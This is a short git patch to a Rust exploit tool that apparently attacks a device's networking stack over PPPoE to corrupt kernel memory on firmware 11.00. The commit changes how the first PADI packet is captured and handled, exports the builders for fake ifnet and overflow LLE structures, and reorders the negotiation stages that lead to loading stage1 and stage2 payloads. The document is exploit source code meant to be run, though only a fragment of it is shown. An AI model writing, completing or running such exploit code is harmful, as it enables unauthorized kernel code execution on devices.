From 0c079c05321682f629211864d94797df51b80872 Mon Sep 17 00:00:00 2001 From: fedebuonco Date: Sun, 20 Oct 2024 18:21:32 +0100 Subject: [PATCH] Fix pado --- src/exploit/mod.rs | 7 ++++--- src/main.rs | 5 +++-- 2 files changed, 7 insertions(+), 5 deletions(-) diff --git a/src/exploit/mod.rs b/src/exploit/mod.rs index e500a31..53156ee 100644 --- a/src/exploit/mod.rs +++ b/src/exploit/mod.rs @@ -40,7 +40,7 @@ use packet_checking::{ use utils::{create_ethernet_channel, listen_for_corruption, listen_for_packet}; -use network_structs::{build_fake_ifnet, build_fake_lle, build_overflow_lle}; +pub use network_structs::{build_fake_ifnet, build_fake_lle, build_overflow_lle}; use offsets::OFFSETS_FW_1100; @@ -81,9 +81,10 @@ impl Exploit { build_fake_ifnet(self.pppoe_softc) } - pub fn ignore_first_padi(&self, interface: &NetworkInterface) { + pub fn capture_first_padi(&mut self, interface: &NetworkInterface) { let (mut _tx, mut rx) = create_ethernet_channel(interface).unwrap(); - let _first_ignore_padi = listen_for_packet(rx.as_mut(), is_padi_packet); + let first_ignore_padi = listen_for_packet(rx.as_mut(), is_padi_packet); + self.handle_padi(&first_ignore_padi.unwrap()); } pub fn ppp_negotiation(&mut self, interface: &NetworkInterface, ac_cookie: Option>) { diff --git a/src/main.rs b/src/main.rs index 2e67ccf..1f24594 100644 --- a/src/main.rs +++ b/src/main.rs @@ -2,6 +2,7 @@ mod constants; mod exploit; mod parser; +use exploit::build_fake_ifnet; use exploit::Exploit; use parser::{get_args, Args}; use pnet::datalink::{self}; @@ -44,8 +45,8 @@ fn run_exploit(interface_name: String, stage1_path: String, stage2_path: String) // Stages of the exploit println!("[+] Starting Negotiations ..."); - expl.ignore_first_padi(&interface); - expl.ppp_negotiation(&interface, Some(expl.get_fake_ifnet())); + expl.capture_first_padi(&interface); + expl.ppp_negotiation(&interface, Some(build_fake_ifnet(expl.pppoe_softc))); expl.lcp_negotiation(&interface); expl.ipcp_negotiation(&interface); println!("[+] Initial Negotiations Done...");